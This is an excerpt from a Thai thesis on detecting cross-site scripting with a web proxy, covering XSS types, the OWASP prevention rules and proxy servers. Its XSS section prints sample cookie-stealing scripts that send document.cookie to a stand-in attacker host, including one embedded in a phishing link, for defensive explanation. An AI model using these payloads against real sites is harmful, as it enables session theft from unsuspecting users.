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บทที่ 1 
บทน า 

 
 ในบทน านี้จะแบ่งเป็นเจ็ดหัวข้อย่อย กล่าวถึงความเป็นมาและความส าคัญของปัญหา 
วัตถุประสงค์ ขอบเขตของการวิจัย ประโยชน์ที่คาดว่าจะได้รับ วิธีด าเนินการวิจัย ล าดับขั้นตอนใน
การเสนอผลการวิจัย และผลงานที่ตีพิมพ์จากวิทยานิพนธ์ ตามล าดับ ดังนี้ 
 

1.1 ความเป็นมาและความส าคัญของปัญหา 
 ปัจจุบันปัญหาการโจมตีเว็บระบบประยุกต์ (Web application) มีจ านวนมากขึ้นเรื่อยๆ โดย
ปัญหาที่พบว่าเกิดขึ้นมากอย่างหนึ่งก็คือปัญหาของครอสไซต์สคริปติ้ง (Cross-site scripting) 
เนื่องจากการโจมตีชนิดนี้สามารถท าได้ง่าย จากข้อมูลของ“The Open Web Application Security 
Project (OWASP)” เมื่อปี ค.ศ. 2013 ได้ระบุเอาไว้ว่าปัญหาเรื่องของครอสไซต์สคริปติ้งมีมากเป็น
อันดับ 3 (ดังข้อมูลในตารางที่ 1) จากปัญหาที่พบบ่อยด้านความปลอดภัยและช่องโหว่ [1] และจาก
รายงานต่อสาธารณชนพบว่าในหลายปีที่ผ่านมาปัญหาของครอสไซต์สคริปติ้ งถูกพบบ่อยมากขึ้นจน
แซงปัญหาบัฟเฟอร์โอเวอร์โฟลว์เลยทีเดียว[2] 
 
ตารางที่ 1 ตารางแสดงปัญหาการโจมตีเว็บระบบประยุกต์ 
 

OWASP Top 10 – 2013 
1 – Injection 
2 – Broken Authentication and Session Management 
3 – Cross-Site Scripting (XSS) 
4 – Insecure Direct Object References 
5 – Security Misconfiguration 
6 – Sensitive Data Exposure 
7 – Missing Function Level Access Control 
8 – Cross-Site Request Forgery (CSRF) 
9 – Using Known Vulnerable Components 
10 – Unvalidated Redirects and Forwards 
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 เทคนิคครอสไซต์สคริปติ้งเป็นเทคนิคโจมตีที่เครื่องคอมพิวเตอร์ผู้ใช้งาน (Client computer) 
สามารถส่งข้อมูลที่รับเข้า (Input) ไปยังเครื่องบริการ (Server) ซึ่งเครื่องบริการไม่ได้ท าการตรวจสอบ
ความปลอดภัยของข้อมูลที่รับเข้ามาแล้วน าไปท าการประมวลผลเป็นข้อมูลที่ส่งออก (Output) ส่งไป
แสดงผลไปยังเบราว์เซอร์ที่เครื่องคอมพิวเตอร์ผู้ใช้งาน โดยที่ผู้โจมตี (Attacker) จึงอาศัยช่องโหว่นี้ใน
การท าการโจมตี โดยเขียนบทค าสั่ง (Script) แล้วท าการส่งไปยังเครื่องบริการ 
 ปัจจุบันผู้จัดท าเว็บระบบประยุกต์ส่วนใหญ่นิยมท าการทดสอบเบื้องต้นในปัญหาครอสไซต์
สคริปติ้ง [3][4] ก่อนให้บุคคลทั่วไปเข้าใช้งาน แต่ก็ยังมีเว็บไซต์จ านวนมากที่ไม่ได้ท าการตรวจสอบ
ความปลอดภัยในเรื่องดังกล่าว ท าให้ผู้เข้าใช้งานเจอปัญหาครอสไซต์สคริปติ้งและไม่สามารถตรวจจับ
หรือทราบได้ว่าตนเองก าลังถูกโจมตีด้วยเทคนิคครอสไซต์สคริปติ้ง โครงงานวิจัยนี้จึงถูกจัดท าขึ้นเพ่ือ
ช่วยตรวจจับปัญหาครอสไซต์สคริปติ้งโดยใช้เว็บพร็อกซี่ (Web proxy) ซึ่งคาดว่าจะสามารถช่วยท า
การตรวจจับเว็บไซต์ที่ใช้งานได้เบื้องต้นว่ามีปัญหาครอสไซต์สคริปติ้ง และผู้เข้าใช้งานสามารถ
ตัดสินใจได้ว่าสมควรเข้าใช้งานเว็บระบบประยุกต์ดังกล่าวต่อไปหรือไม่ได้ด้วยตนเอง 
 หากวิธีการตรวจจับปัญหาครอสไซต์สคริปติ้งโดยใช้เว็บพร็อกซี่ (Detection of Cross-Site 
Scripting using web proxy) นี้ สามารถท าการตรวจจับเว็บระบบประยุกต์ที่มีปัญหาครอสไซต์
สคริปติ้งได้จริงดังที่คาดหวังไว้ จะช่วยแจ้งเตือนให้ผู้เข้าใช้งานรับทราบและปิดช่องโหว่ของปัญหาได้
จ านวนมาก และท าให้ผู้เข้าใช้งานเว็บระบบประยุกต์มีความปลอดภัยมากขึ้นทีเดียว 
 

1.2 วัตถุประสงค์ของการวิจัย 
 การวิจัยมีวัตถุประสงค์ ดังนี้ 
  1) เพ่ือศึกษาหาวิธีการตรวจจับปัญหาครอสไซต์สคริปติ้งโดยใช้เว็บพร็อกซ่ี 
  2) เพื่อน าวิธีการตรวจจับนี้มาประยุกต์ใช้จริง 
  3) เพ่ือทดลองหารูปแบบของปัญหาครอสไซต์สคริปติ้งที่วิธีการตรวจจับดังกล่าว
สามารถตรวจจับได้ และไม่สามารถตรวจจับได้ 
  4) เพื่อวัดและวิเคราะห์ประสิทธิภาพของเทคนิคการตรวจจับปัญหาครอสไซต์สคริป
ติ้งโดยใช้เว็บพร็อกซ่ี 
 

1.3 ขอบเขตของการวิจัย 
 ขอบเขตของการวิจัยถูกก าหนดไว้ ดังนี้ 
  1) เลือกเฉพาะวิธีการป้องกันปัญหาครอสไซต์สคริปติ้งจากวิธีป้องกันฝั่งผู้ใช้งาน 
(Client-side prevention) เท่านั้นในการทดลอง ดังตารางที่ 2 
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ตารางที่ 2 ตารางแสดงการเปรียบเทียบวิธีการแก้ไขปัญหาครอสไซต์สคริปติ้ง 
 

 
 

  2) งานวิจัยนี้จะศึกษาและทดลองการตรวจจับปัญหาครอสไซต์สคริปติ้งแบบถาวร 
(Stored Cross-Site Scripting) และครอสไซต์สคริปติ้งแบบชั่วคราว (Reflected Cross-Site 
Scripting) เท่านั้น 
 

1.4 ประโยชน์ที่คาดว่าจะได้รับ 
 ประโยชน์ที่คาดว่าจะได้รับจากการวิจัย ได้แก่ 
  1) เข้าใจวิธีการตรวจจับปัญหาครอสไซต์สคริปติ้งโดยใช้เว็บพร็อกซ่ี 
  2) ได้ความรู้เกี่ยวกับรูปแบบการโจมตีที่วิธีการตรวจจับดังกล่าวสามารถตรวจจับได้ 
และไม่สามารถตรวจจับได้ พร้อมเหตุผล 
  3) ได้รับความรู้เกี่ยวกับรูปแบบวิธีในการตรวจจับปัญหาครอสไซต์สคริปติ้ง 
  4) สามารถน าความรู้จากผลการวิจัยนี้ไปประยุกต์ใช้จริงต่อไปในอนาคต 
 

1.5 ขั้นตอนและวิธีด าเนินการวิจัย 
 วิธีด าเนินการวิจัย ถูกแบ่งเป็นห้าขั้นตอน ดังนี้ 
  1) ศึกษาเทคโนโลยีและงานวิจัยที่เกี่ยวข้อง  
  2) ขั้นเตรียมเว็บพร็อกซ่ีเพ่ือใช้ตรวจจับการโจมตี 
  3) ขั้นทดลองโจมตีด้วยการโจมตีแบบครอสไซต์สคริปติ้ง 
  4) ขั้นทดลองวัดประสิทธิภาพ 
  5) ขั้นสรุปผลการทดลองและจัดท าวิทยานิพนธ์ 
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1.6 ล าดับขั้นตอนในการเสนอผลการวิจัย 
 วิทยานิพนธ์นี้แบ่งเนื้อหาออกเป็น 5 บท ดังต่อไปนี้ บทที่ 1 เป็นบทน าซึ่งกล่าวถึง ความ
เป็นมาและความส าคัญของปัญหา รวมถึงวัตถุประสงค์ของการวิจัย บทที่ 2 กล่าวถึงทฤษฎีพ้ืนฐาน 
และงานวิจัยที่เกี่ยวข้องกับการวิจัยนี้ บทที่ 3 การออกแบบระบบในงานวิจัย บทที่ 4 การสร้างและ
การทดลองระบบ และบทที่ 5 เป็นบทสรุปของงานวิจัย 
 

1.7 ผลงานที่ตีพิมพ์จากวิทยานิพนธ์ 
 ส่วนหนึ่งของวิทยานิพนธ์นี้ได้รับการตอบรับให้ตีพิมพ์เป็นบทความทางวิชาการในหัวข้อเรื่อง 
“Detection of Cross-Site Scripting using web proxy” โดยนายวรวิชญวิทย์ ประเสริฐยิ่ง และ
ผู้ช่วยศาสตราจารย์ ดร. เกริก ภิรมย์โสภา , ในงานประชุมวิชาการ “The International 
Conference on E-Technologies and Business on the Web (EBW2013)” ณ มหาวิทยาลัย
หอการค้าไทย กรุงเทพมหานคร ประเทศไทย วันที่ 7-9 พฤษภาคม พ.ศ. 2556 

  



บทที่ 2 
ทฤษฎีและงานวิจัยที่เกี่ยวข้อง 

 
 ในบทนี้จะกล่าวถึงแนวคิดและทฤษฏี รวมทั้งเอกสารและงานวิจัยที่เก่ียวข้อง ดังนี้ 
 

2.1 แนวคิดและทฤษฎี 
 แนวคิดและทฤษฎีที่จะอธิบายในการวิจัยนี้ แบ่งเป็นสี่ส่วน ได้แก่ 
 
 2.1.1 ครอสไซต์สคริปติ้ง (Cross-site scripting) [5] 
  ครอสไซต์สคริปติ้ง (Cross-site scripting : XSS) เป็นการโจมตีแบบระบบ
 ประยุกต์ (Application) ประเภท malicious injection โดยอาศัยหลักการที่คอมพิวเตอร์
 ผู้ใช้งาน (Client computer) สามารถส่งข้อความอะไรก็ได้ไปยังเครื่องบริการ (Server) แล้ว
 เครื่องบริการน าข้อความที่ได้รับมาไปประมวลผล โดยที่เครื่องบริการไม่ได้ตรวจสอบข้อมูลที่
 รับเข้า (Input) และข้อมูลที่ส่งออก (Output) ว่ามีความปลอดภัยเพียงพอ ผู้โจมตี 
 (Attacker) จึงอาศัยช่องโหว่นี้ในการโจมตี โดยการสร้างเป็นค าสั่ง (Code) แล้วส่งไปยัง
 เครื่องบริการ แล้วเครื่องบริการก็จะท าการประมวลผลแล้วส่งผลตอบสนองมายังเบราว์เซอร์ 
 (Browser) ของเครื่องคอมพิวเตอร์ผู้ใช้งานในรูปแบบบทค าสั่งฝ่ายผู้ใช้งาน (Client side 
 script) ซึ่งบทค าสั่งฝ่ายผู้ใช้งานที่เกิดขึ้นนั้นมีสิทธิ์ในการท างานเทียบเท่ากับบทค าสั่ง 
 (Script) ที่เกิดขึ้น จากตัวเว็บไซต์เอง 
 

 

รูปที่ 1 การโจมตีโดยวิธีการครอสไซต์สคริปติง้ 
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  ผู้โจมตีใช้เทคนิคครอสไซต์สคริปติ้งเพ่ือข้อมูลหรือความสามารถบางอย่าง อาทิ เพ่ือ
 ท าการส่งค่าคุกกี้ (Cookie) จากเครื่องคอมพิวเตอร์ผู้ใช้งานไปยังผู้โจมตี หรือเพ่ือให้เครื่อง
 คอมพิวเตอร์ผู้ใช้งานไปท าการบรรจุลง (Download) บทค าสั่งมาจากเว็บไซต์เพ่ือให้สามารถ
 ใช้ทรัพยากรบางอย่างได้อย่างเต็มที่ เป็นต้น ทั้งนี้ขึ้นอยู่กับเทคโนโลยีของบทค าสั่งฝ่าย
 ผู้ใช้งาน และเป้าหมายการโจมตีของผู้โจมตีด้วย 
  ครอสไซต์สคริปติ้งสามารถเกิดขึ้นได้ในหลายภาษา อาทิ HTML, Java Script, VB 
 Script, ActiveX, Flash เป็นต้น แต่ภาษาที่นิยมใช้ครอสไซต์สคริปติ้งกันอย่างแพร่หลาย
 อย่างยิ่ง คือ Java Script 
 
  ประเภทของครอสไซต์สคริปติ้ง 

1) ครอสไซต์สคริปติ้งแบบถาวร (Stored Cross-Site Scripting) 
    ครอสไซต์สคริปติ้งแบบนี้เป็นเทคนิคการโจมตีแบบถาวร  
   (Persistent) โดยจะอาศัยประโยชน์จากเว็บบอร์ด (Web board)  
   เว็บบล็อก (Web blog) หรือสมุดเยี่ยมชม (Guestbook) ที่โดยปกติ 
   เว็บระบบประยุกต์ (Web application) กลุ่มนี้จะให้ผู้ใช้งานสามารถกรอก
   เนื้อหา (Content) ได้ด้วยตนเองหรือจะน า ข้อมูลที่รับเข้าไปเก็บและใช้
   งานโดยที่ไม่ได้ท าการตรวจสอบความปลอดภัยก่อน ผู้โจมตีก็จะสามารถใส่
   บทค าสั่งเข้าไปได้โดยตรงเลย เช่น 
 

    
 
    ถ้าเป็นเว็บระบบประยุกต์ที่ไม่ได้มีการตรวจสอบเนื้อหาหรือข้อมูล
   ที่รับเข้าไปเก็บไว้แล้ว เมื่อมีผู้เข้าชมคนอ่ืนเข้ามาเยี่ยมชมเว็บไซต์ที่มีบท
   ค าสั่งของผู้โจมตี เครื่องคอมพิวเตอร์ของผู้เข้าชมคนนั้นก็จะท าการ 
   ประมวลผลบทค าสั่งไปโดยอัตโนมัติ แล้วท าการส่งค่าคุกกี้ไปยังเครื่อง 
   บริการของผู้โจมตี 
 

<script>document.location=‘http://attacker.abc/cookie-
steal.cgi?’+document.cookie</script> 
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   2) ครอสไซต์สคริปติ้งแบบชั่วคราว (Reflected Cross-Site  
   Scripting) 
    ครอสไซต์สคริปติ้งแบบนี้เป็นเทคนิคการโจมตีแบบชั่วคราว  
   (Non-persistent) โดยส่วนใหญ่จะอยู่ในรูปแบบของการเชื่อมโยง (Link) 
   เมื่อเหยื่อ (Victim) ได้ท าการคลิกที่การเชื่อมโยงแล้วบทค าสั่งจะท าการ
   โจมตี ปกติจะอยู่ในเว็บไซตท์ี่มีการ รับข้อมูลที่รับเข้าจากผู้ใช้งานมา 
   แสดงผลบนเบราว์เซอร์  
    ตัวอย่าง : ในเว็บระบบประยุกต์ที่มีกระบวนการท างานตามค าสั่งที่
   ได้ร้องขอ เช่น เมื่อพิมพ์ค าสั่ง 
 

    
 
    แล้วเว็บไซต์จะแสดงผล “Welcome yok” ออกมาให้เห็นผ่าน
   ทางเบราว์เซอร์ โดยเว็บระบบประยุกต์น าข้อมูลที่รับเข้าจาก username 
   มาท าการแสดงผลโดยตรง ซึ่งหากไม่มีการป้องกันก่อนที่จะน ามาแสดงผล 
   ก็จะเป็นจุดอ่อนให้ใช้เทคนิคครอสไซต์สคริปติ้งได้ ถ้าผู้โจมตีท าการสร้าง
   การเชื่อมโยงแล้วส่งไปทางอีเมลให้เหยื่อท าการคลิกการเชื่อมโยงเหยื่อก็จะ
   ถูกท าการโจมตี 
    ตัวอย่าง : ในการเชื่อมโยงที่มีการใช้เทคนิคครอสไซต์สคริปติ้งแอบ
   แฝงเพิ่ม บทค าสั่งเข้าไป แล้วท าการส่งอีเมลไปหาเหยื่อ 
 

    
 

http://www.portal.abc/index.php/sessionid=12345678
 &username=yok 

 

<a herf=“http://www.portal.abc/index.php/ 
sessionid=12345678&username=<script> 
document.location=‘http://attacker.abc/ 

cookie-steal.cgi?’+document.cookie</script>”> 
Click here to verify your account</a> 
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    เมื่อเหยื่อท าการคลิกที่การเชื่อมโยงดังกล่าว ระบบก็จะท าการส่ง
   ค่าคุกกี้จากเครื่องคอมพิวเตอร์ผู้ใช้งานที่มีจุดอ่อนครอสไซต์สคริปติ้งไปยัง
   เครื่องบริการของผู้โจมตี 
    ในความเป็นจริงแล้วผู้โจมตีอาจไม่จ าเป็นต้องใช้การส่งอีเมลไปให้
   เหยื่อ แล้วรอให้เหยื่อท าการคลิกการเชื่อมโยงก็ได้ เพราะการโจมตีรูปแบบ
   นี้ผู้โจมตีสามารถประยุกต์ใช้ส่วนย่อย (Element) ที่มีชื่อว่า <iframe> มา
   ช่วยในการโจมตีได้ เพียงแค่เหยื่อท าการเปิดอ่านอีเมลแล้วบทค าสั่งก็จะ
   ท างานโดยอัตโนมัติ 
 

   3) ครอสไซต์สคริปติ้งแบบชนิด 0 (DOM-based Cross-Site  
   Scripting) 
    ครอสไซต์สคริปติ้งแบบชนิด 0 (DOM-based Cross-Site  
   Scripting, Local cross-site scripting) หรือเรียกว่า “Type-0 Cross-
   Site Scripting” เป็นเทคนิคการโจมตีที่ไม่ใช่แบบถาวรและแบบชั่วคราว 
   โดยบทค าสั่งจะไม่ถูกเก็บไว้บทเครื่องบริการหรือไม่มีการส่งบทค าสั่งไปยัง
   เครื่องบริการ แต่เป็นการโจมตีโดยอาศัยคุณสมบัติของ Document  
   Object Model (DOM) มาช่วยในการท าการโจมตี โดยน าข้อมูลที่รับเข้า
   มาแปลงให้เป็นบทค าสั่ง เช่น การที่เครื่องบริการไปอ่านข้อมูลจาก RSS 
   feeds มาแล้วท าการแสดงผลไปยังเบราว์เซอร์โดยที่ไม่ท าการตรวจสอบ
   ก่อน 
    ผู้โจมตีที่จะใช้เทคนิคครอสไซต์สคริปติ้งแบบชนิด 0 จะต้องเข้าใจ
   หลักการ ท างานของการแสดงผลในการเตรียมเนื้อหา HTML ของเครื่อง
   บริการเป็นอย่างดี เพราะสาเหตุหลักในการเกิดครอสไซต์สคริปติ้งชนิดนี้
   เกิดจากการไม่ได้ตรวจสอบการแสดงผลที่ครอบคลุมของเครื่องบริการ ท า
   ให้ผู้โจมตีสามารถน าข้อมูลที่รับเข้ามาแปลงให้เป็นบทค าสั่งและท าให้เกิด
   การโจมตีชนิดนี้ได้ 
 
 2.1.2 กฎการป้องกันครอสไซต์สคริปติ้ง (Cross-site scripting prevention rules) [6] 
  กฎทั้ง 8 ข้อ ถูกตั้งขึ้นมาเพ่ือช่วยป้องกันปัญหาครอสไซต์สคริปติ้งส่วนใหญ่ใน
 เว็บไซต์ระบบประยุกต์ โดยที่กฎส่วนใหญ่จะไม่อนุญาตสิทธิต่างๆ ส าหรับข้อมูลที่ไม่น่าเชื่อถือ
 ในเอกสารเอชทีเอ็มแอล ซึ่งครอบคลุมกรณีส่วนใหญ่ของปัญหาครอสไซต์สคริปติ้งที่พบบ่อย 
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 อาจไม่ต้องใช้กฎทั้งหมดในเว็บไซต์ระบบประยุกต์ เ พ่ือป้องกันก็ได้  และกฎเหล่านี้
 สามารถเปลี่ยนแปลงตามการพัฒนาของเบราว์เซอร์ในอนาคตได้ 

  1) RULE #0 - Never Insert Untrusted Data Except in Allowed  
  Locations 
   กฎข้อ 0 เป็นวิธีการป้องกันในภาพรวม โดยไม่ใส่ข้อมูลที่ไม่น่าเชื่อถือลงใน
  เอกสารเอชทีเอ็มแอล จนกว่าข้อมูลนั้นจะผ่านกฎข้อที่ 1 ถึงกฎข้อที่ 5 กฎข้อนี้มีขึ้น
  เพ่ือป้องกันบริบทที่ผิดปกติจ านวนมากในเอกสารเอชทีเอ็มแอล หากต้องการจะใส่
  ข้อมูลที่ไม่น่าเชื่อถือลงในบริบทต้องท าการทดสอบในหลายๆ เบราว์เซอร์ก่อน 
   ที่ส าคัญที่สุด ต้องไม่ยอมใช้งานค าสั่งจาวาสคริป (JavaScript code) จาก
  แหล่งที่ไม่รู้จักหรือไมน่่าเชื่อถือ ตามท่ีแสดงด้านล่าง 
 

 
 

  2) RULE #1 - HTML Escape Before Inserting Untrusted Data into
  HTML Element Content 
   กฎข้อที่ 1 หลีกเลี่ยงการใส่ข้อมูลที่ไม่น่าเชื่อถือลงในเนื้อหาอีลีเมนท์  
  (Element) โดยเว็บไซต์ส่วนใหญ่จะหลีกเลี่ยงการใส่อักขระด้านล่างลงในเนื้อหา
  เอกสารเอชทีเอ็มแอลหรือแท็ก (Tag) ปกติภายใน เช่น div, p, b, td เป็นต้น ตามที่
  แสดงด้านล่าง 
 

 
 

 <script>...NEVER PUT UNTRUSTED DATA HERE...</script> directly in a script 
  <!--...NEVER PUT UNTRUSTED DATA HERE...-->  inside an HTML comment 
 <div ...NEVER PUT UNTRUSTED DATA HERE...=test /> in an attribute name 
 <NEVER PUT UNTRUSTED DATA HERE... href="/test" /> in a tag name 
 <style>...NEVER PUT UNTRUSTED DATA HERE...</style> directly in CSS 
 

 <body>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</body> 
  <div>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</div> 
  any other normal HTML elements 
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   หลีกเลี่ยงการใช้อักขระดังต่อไปนี้โดยตรง เพ่ือป้องกันการไม่ให้เป็นส่วน
  หนึ่งของ ค าสั่งจาวาสคริปโดยใช้การเข้ารหัสแบบ Hex ซึ่งจะแนะน า 5 ตัวหลักที่มี
  ผลกับ XML ตามท่ีแสดงด้านล่าง 
 

 
 

  3) RULE #2 - Attribute Escape Before Inserting Untrusted Data  
  into HTML Common Attributes 
   กฎข้อที่ 2 หลีกเลี่ยงการใส่ข้อมูลที่ไม่น่าเชื่อถือในแอทริบิวต์ทั่วไปของ 
  เอชทีเอ็มแอล เช่น width, name, value เป็นต้น และแอทริบิวต์ที่มีความซับซ้อน 
  เช่น href, src, style รวมไปถึงตัวจัดการเหตุการณ์ (Event handlers) เช่น  
  onmouseover ตามท่ีแสดงด้านล่าง 
 

 
 

  4) RULE #3 - JavaScript Escape Before Inserting Untrusted Data 
  into JavaScript Data Values 
   กฎข้อที่ 3 หลีกเลี่ยงการใช้งานจาวาสคริปที่ไม่น่าเชื่อถือในส่วนของการใส่
  ข้อมูลจาวาสคริป หรือ ใช้งานจาวาสคริปด้วยความระมัดระวัง เพราะจาวาสคริปที่
  ไม่น่าเชื่อถือเป็นอันตรายและง่ายมากที่จะโดนโจมตีจากจุดนี้ ตามท่ีแสดงด้านล่าง 

 & --> &amp; 
  < --> &lt; 
  > --> &gt; 
  " --> &quot; 
  ' --> &#x27;     &apos; is not recommended 
  / --> &#x2F;     forward slash is included as it helps end an HTML entity 

<div attr=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...>content</div>   inside UNquoted attribute 
 <div attr='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'>content</div> inside single quoted attribute 
 <div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">content</div> inside double quoted 
attribute 
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   นอกจากนี้ยังมีจาวาสคริปบางอันไม่สามารถใช้งานได้อย่างปลอดภัยจาก
  ข้อมูลที่ไมน่่าเชื่อถือ ดังตัวอย่างด้านล่าง 
 

 
 

  5) RULE #4 - CSS Escape And Strictly Validate Before Inserting  
 Untrusted Data into HTML Style Property Values 
   กฎข้อที่ 4 หลีกเลี่ยง CSS และเคร่งครัดการตรวจค่าก่อนที่จะใส่ข้อมูลที่ไม่
  น่าเชื่อถือลงในค่าคุณสมบัติลักษณะเอชทีเอ็มแอล 
 

 
 
   นอกจากนี้ยังมี CSS บางอันไม่สามารถใช้งานได้อย่างปลอดภัย จากข้อมูลที่
  ไม่น่าเชื่อถือ ดังตัวอย่างด้านล่าง 
 

 
 

 <script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>                   
        inside a quoted string 
 <script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>                     
       one side of a quoted expression 
 <div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"</div>     
            inside quoted event handler 

 <script> 
   window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...'); 
  </script> 

<style>selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; } </style>    property value 
 <style>selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; } </style> property value 
 <span style="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">text</style     property value 

  { background-url : "javascript:alert(1)"; }  // and all other URLs 
   { text-size: "expression(alert('XSS'))"; }   // only in IE 
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  6) RULE #5 - URL Escape Before Inserting Untrusted Data into  
  HTML URL Parameter Values 
   กฎข้อที่ 5 หลีกเลี่ยง URL ที่เป็นข้อมูลไม่น่าเชื่อถือก่อนน าใส่ลงไปใน 
  ค่าพารามิเตอร์เอชทีเอ็มแอล ดังตัวอย่างด้านล่าง 
 

 
 
   ถ้าใส่ข้อมูลที่ไม่น่าเชื่อถือลงไปใน href, src หรือคุณลักษณะที่อ้างอิงถึง 
  URL อ่ืนๆ ควรจะท าการตรวจสอบให้แน่ใจว่ามันไม่ได้ชี้ไปที่ URL หรือจาวาสคริป
  อ่ืนที่เป็นอันตราย นอกจากนี้ URL นั้นควรจะถูกเข้ารหัสเพ่ือความปลอดภัยโดย
  ขึ้นอยู่กับบริบทของการแสดงผลข้อมูล ดังตัวอย่างด้านล่าง 
 

 

  2.1.2.7 RULE #6 - Use an HTML Policy engine to validate or clean 
  user-driven HTML in an outbound way 
 
   OWASP AntiSamy 

 
 
   OWASP Java HTML Sanitizer 

 <a href="http://www.somesite.com?test=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."> 
 link</a >   

 String userURL = request.getParameter( "userURL" ) 
  boolean isValidURL = ESAPI.validator().isValidInput("URLContext", userURL, "URL", 255, false);  
  if (isValidURL) {   
  <a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link</a> 
  } 

   import org.owasp.validator.html.*; 
   Policy policy = Policy.getInstance(POLICY_FILE_LOCATION); 
   AntiSamy as = new AntiSamy(); 
   CleanResults cr = as.scan(dirtyInput, policy); 
   MyUserDAO.storeUserProfile(cr.getCleanHTML()); // some custom function 
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  2.1.2.8 RULE #7 - Prevent DOM-based cross-site scripting 
   กฎข้อนี้ซับซ้อนและมีรายละเอียดเป็นพิเศษ ซึ่งส่วนใหญ่จะท าการป้องกัน
  เกี่ยวกับค าสั่งจาวาสคริปเป็นหลัก 
 

 2.1.3 เครื่องบริการพร็อกซี่ (Proxy server) 
  เครื่องบริการพร็อกซี่ (Proxy server) [7] หรือที่นิยมเรียกกันสั้นๆ ว่าพร็อกซี่ 
 (Proxy) คือเครื่องคอมพิวเตอร์ที่ท าหน้าที่เป็นตัวกลางระหว่างเครื่องคอมพิวเตอร์ผู้ใช้งาน 
 (Client computer) กับเครื่องบริการ (Server) จริง โดยเมื่อเราเปิดเว็บไซต์ผ่านระบบ
 อินเทอร์เน็ตที่เครื่องคอมพิวเตอร์ผู้ใช้งาน ข้อมูลที่เราท าการส่งค าร้องขอ (Request) จะวิ่ง
 ไปที่พร็อกซี่ก่อน หลังจากนั้นค าร้องขอจากพร็อกซี่จะถูกส่งไปเครื่องบริการจริงต่อไป โดยที่
 ค าร้องขอจะไม่ได้ถูกส่งจากเครื่องคอมพิวเตอร์ผู้ใช้งานไปยังเครื่องบริการตามปกติท่ัวไป 
 

 
รูปที่ 2 การท างานของเครื่องบริการพร็อกซ่ี 

 

  import org.owasp.html.Sanitizers; 
   import org.owasp.html.PolicyFactory; 
   PolicyFactory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS); 
   String cleanResults = sanitizer.sanitize("<p>Hello, <b>World!</b>"); 
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  เครื่องบริการพร็อกซี่มีประโยชน์ในการใช้งานหลายประการ โดยสามารถแบ่ง
 จุดประสงค์หลักในการใช้งานได้ 3 อย่างคือ 
   1) เพ่ือเพ่ิมความเร็วในการเรียกดูหน้าเว็บไซต์จากอินเทอร์เน็ตได้ 
 เนื่องจากเครื่องบริการพร็อกซ่ีจะท าการเก็บข้อมูลหน้าเว็บไซต์ที่ถูกร้องขอไปยังเครื่องบริการ
 จากเครื่องคอมพิวเตอร์ผู้ใช้งานที่ส่งค าร้องขอรายแรกไป ท าให้เครื่องคอมพิวเตอร์ผู้ใช้งาน
 รายอื่นๆ ที่ต้องการเปิดดูเว็บไซต์หน้าเดียวกันจะได้ข้อมูลโดยไม่ต้องส่งค าร้องขอไปยังเครื่อง
 บริการอีกครั้ง ท าให้ประหยัดทั้งเวลาและแบนด์วิดท์ (Bandwidth) ของเครือข่าย ท าให้
 องค์กรขนาดใหญ่ อาทิ ผู้ที่ให้บริการอินเทอร์เน็ต (Internet Service Provide) บริษัทขนาด
 ใหญ่ มหาวิทยาลัย เป็นต้น นิยมใช้บริการเครื่องบริการพร็อกซี่ 
   2) เพ่ือให้เครื่องคอมพิวเตอร์ผู้ใช้งานซ่อนตัว โดยเครื่องบริการพร็อกซี่จะ
 ช่วยปิดบังที่อยู่ไอพี (IP Address) จริงของเครื่องคอมพิวเตอร์ผู้ใช้งาน ท าให้เครื่องบริการไม่
 สามารถทราบได้ว่าที่อยู่ไอพีที่แท้จริงของเครื่องคอมพิวเตอร์ผู้ใช้งานคืออะไร โดยมากจะใช้
 ประโยชน์ในเรื่องนี้ในการปิดบังที่อยู่ไอพีเพ่ือความปลอดภัยของผู้ใช้งาน 
   3) เพ่ือคัดกรอง โดยเครื่องบริการพร็อกซี่สามารถช่วยท าการคัดการการใช้
 งานตามคุณสมบัติต่างๆ อาทิ การจ ากัดสิทธิในการเข้าถึงเว็บไซต์บางแห่งที่มีเนื้อหาไม่
 เหมาะสม หรือจ ากัดสิทธิ์การใช้งานของผู้ใช้งานในการเข้าใช้อินเทอร์เน็ตได้ 
 
  ประเภทของเครื่องบริการพร็อกซี่ [7] 

   1) เครื่องบริการพร็อกซี่แคช (Caching proxy server) 
    เครื่องบริการพร็อกซี่แคช (Caching proxy server) เป็นเครื่อง
   บริการพร็อกซ่ีที่ใช้ประโยชน์เพ่ือเร่งความเร็วในการเข้าสู่หน้าเว็บไซต์ต่างๆ 
   โดยเก็บข้อมูลจากค าร้องขอของเครื่องคอมพิวเตอร์ผู้ใช้งานก่อนหน้า โดย
   เครื่องบริการพร็อกซี่แคชจะเก็บค าร้องขอที่ถูกร้องขอบ่อย 
 

   2) เว็บพร็อกซี่ (Web proxy) 
    เว็บพร็อกซ่ี (Web proxy) เป็นพร็อกซ่ีที่จะสนใจเฉพาะการใช้งาน
   เชื่อมโยงไปยังเวิลด์ไวด์เว็บ (WWW) การท างานส่วนใหญ่ของเว็บพร็อกซี่ 
   คือ เพ่ือเก็บเว็บแคช (Web cache) และเพ่ือท าการคัดกรองสิ่งต่างๆ  
   ภายใต้เงื่อนไขของการคัดกรอง 
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   3) ฮอสไทล์พร็อกซี่ (Hostile proxy) 
    ฮอสไทล์พร็อกซี่ (Hostile proxy) เป็นพร็อกซี่ที่ถูกน าไปใช้ใน
   จุดประสงค์ที่ไม่ดี เพ่ือดักเก็บข้อมูลที่ส่งกันระหว่างเครื่องคอมพิวเตอร์ 
   ผู้ใช้งานกับเครื่องบริการ อาทิ เก็บข้อมูลจากแบบฟอร์มต่างๆ รหัสผ่าน ฯ 
   แต่ทั้งนี้สามารถใช้งาน SSL (Secure Sockets Layer) เพ่ือความปลอดภัย
